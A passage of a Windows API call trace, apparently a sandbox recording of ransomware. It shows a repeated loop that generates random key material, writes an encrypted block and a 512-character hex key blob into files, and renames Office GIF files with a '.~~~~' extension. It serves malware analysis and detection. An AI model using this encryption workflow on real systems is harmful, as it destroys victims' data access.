	[0127.405] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0127.405] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0127.405] WriteFile (in: hFile=0xc4, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0127.405] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0127.405] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0127.406] CloseHandle (hObject=0xc4) returned 1
	[0127.406] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f49a0
	[0127.406] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14655_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14655_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14655_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14655_.gif.~~~~")) returned 1
	[0127.407] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f49a0 | out: hHeap=0x300000) returned 1
	[0127.407] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0127.407] GetLastError () returned 0x0
	[0127.407] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0127.408] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0127.408] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0127.408] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0127.408] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0127.408] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0127.408] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24739862186) returned 1
	[0127.409] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb5643f70, dwHighDateTime=0x1d60e1e)) 
	[0127.409] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0127.409] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0127.409] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0127.409] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3cca88
	[0127.409] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0127.409] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cca88 | out: hHeap=0x300000) returned 1
	[0127.409] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0127.409] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0127.409] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f4700
	[0127.409] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0127.409] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0127.409] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4700 | out: hHeap=0x300000) returned 1
	[0127.409] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0127.409] GetLastError () returned 0x0
	[0127.409] GetLastError () returned 0x0
	[0127.410] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0127.410] GetLastError () returned 0x0
	[0127.410] GetLastError () returned 0x0
	[0127.411] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffffff53, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0127.411] WriteFile (in: hFile=0xc4, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0xad, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x25dfec0*=0xad, lpOverlapped=0x0) returned 1
	[0127.412] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0127.412] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0127.412] WriteFile (in: hFile=0xc4, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0127.412] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0127.412] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0127.413] CloseHandle (hObject=0xc4) returned 1
	[0127.413] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f4700
	[0127.413] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14656_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14656_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14656_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14656_.gif.~~~~")) returned 1
	[0127.414] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4700 | out: hHeap=0x300000) returned 1
	[0127.415] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0127.415] GetLastError () returned 0x0
	[0127.415] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0127.416] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0127.416] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0127.416] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0127.416] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0127.416] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0127.416] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24740603394) returned 1
	[0127.416] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb566a0d0, dwHighDateTime=0x1d60e1e)) 
	[0127.416] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0127.416] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0127.416] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0127.416] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3cca50
	[0127.416] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0127.416] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cca50 | out: hHeap=0x300000) returned 1
	[0127.416] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0127.416] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0127.416] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3aa9a0
	[0127.416] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0127.417] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0127.417] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa9a0 | out: hHeap=0x300000) returned 1
	[0127.417] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0127.417] GetLastError () returned 0x0
	[0127.417] GetLastError () returned 0x0
	[0127.417] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0127.417] GetLastError () returned 0x0
	[0127.417] GetLastError () returned 0x0
	[0127.418] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffffff47, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0127.418] WriteFile (in: hFile=0xc4, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0xb9, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x25dfec0*=0xb9, lpOverlapped=0x0) returned 1
	[0127.419] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0127.419] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0127.419] WriteFile (in: hFile=0xc4, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0127.419] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0127.419] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0127.420] CloseHandle (hObject=0xc4) returned 1
	[0127.420] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aa9a0
	[0127.420] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14691_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14691_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14691_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14691_.gif.~~~~")) returned 1
	[0127.421] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa9a0 | out: hHeap=0x300000) returned 1
	[0127.421] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0127.421] GetLastError () returned 0x0
	[0127.422] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0127.423] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0127.423] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0127.423] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0127.423] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0127.423] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0127.423] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24741543300) returned 1
	[0127.425] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb566a0d0, dwHighDateTime=0x1d60e1e)) 
	[0127.425] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0127.425] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0127.426] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0127.426] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3cca18
	[0127.426] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0127.426] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cca18 | out: hHeap=0x300000) returned 1
	[0127.426] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0127.426] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0127.426] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3aa850
	[0127.426] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0127.426] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0127.426] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa850 | out: hHeap=0x300000) returned 1
	[0127.426] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0127.426] GetLastError () returned 0x0
	[0127.426] GetLastError () returned 0x0
	[0127.426] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0127.426] GetLastError () returned 0x0
	[0127.426] GetLastError () returned 0x0
	[0127.427] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffffff4f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0127.427] WriteFile (in: hFile=0xc4, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0xb1, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x25dfec0*=0xb1, lpOverlapped=0x0) returned 1
	[0127.428] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0127.428] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0127.428] WriteFile (in: hFile=0xc4, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0127.429] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0127.429] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0127.429] CloseHandle (hObject=0xc4) returned 1
	[0127.429] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aa850
	[0127.429] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14692_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14692_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14692_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14692_.gif.~~~~")) returned 1
	[0127.433] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa850 | out: hHeap=0x300000) returned 1
	[0127.433] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0127.433] GetLastError () returned 0x0
	[0127.433] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0127.434] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0127.434] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0127.434] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0127.434] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0127.434] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0127.434] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24742424555) returned 1
	[0127.434] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb5690230, dwHighDateTime=0x1d60e1e)) 
	[0127.434] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0127.434] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0127.434] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0127.434] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3cc9e0
	[0127.434] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0127.434] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cc9e0 | out: hHeap=0x300000) returned 1
	[0127.435] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0127.435] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0127.435] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3aace8
	[0127.435] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0127.435] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0127.435] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aace8 | out: hHeap=0x300000) returned 1
	[0127.435] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0127.435] GetLastError () returned 0x0
	[0127.435] GetLastError () returned 0x0
	[0127.435] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0127.435] GetLastError () returned 0x0
	[0127.435] GetLastError () returned 0x0
	[0127.436] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffffff53, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0127.436] WriteFile (in: hFile=0xc4, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0xad, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x25dfec0*=0xad, lpOverlapped=0x0) returned 1
	[0127.438] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0127.438] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0127.438] WriteFile (in: hFile=0xc4, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0127.438] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0127.438] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0127.438] CloseHandle (hObject=0xc4) returned 1
	[0127.438] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aace8
	[0127.438] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14693_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14693_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14693_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14693_.gif.~~~~")) returned 1
	[0127.440] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aace8 | out: hHeap=0x300000) returned 1
	[0127.440] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0127.440] GetLastError () returned 0x0
	[0127.440] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0127.441] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0127.441] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0127.441] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0127.441] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0127.441] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0127.441] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24743162798) returned 1
	[0127.442] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb5690230, dwHighDateTime=0x1d60e1e)) 
	[0127.442] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0127.442] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0127.442] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0127.442] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3cc9a8
	[0127.442] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0127.442] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cc9a8 | out: hHeap=0x300000) returned 1
	[0127.442] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0127.442] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0127.442] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3aa700
	[0127.442] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0127.442] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0127.442] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa700 | out: hHeap=0x300000) returned 1
	[0127.442] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0127.442] GetLastError () returned 0x0
	[0127.442] GetLastError () returned 0x0
	[0127.443] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0127.443] GetLastError () returned 0x0
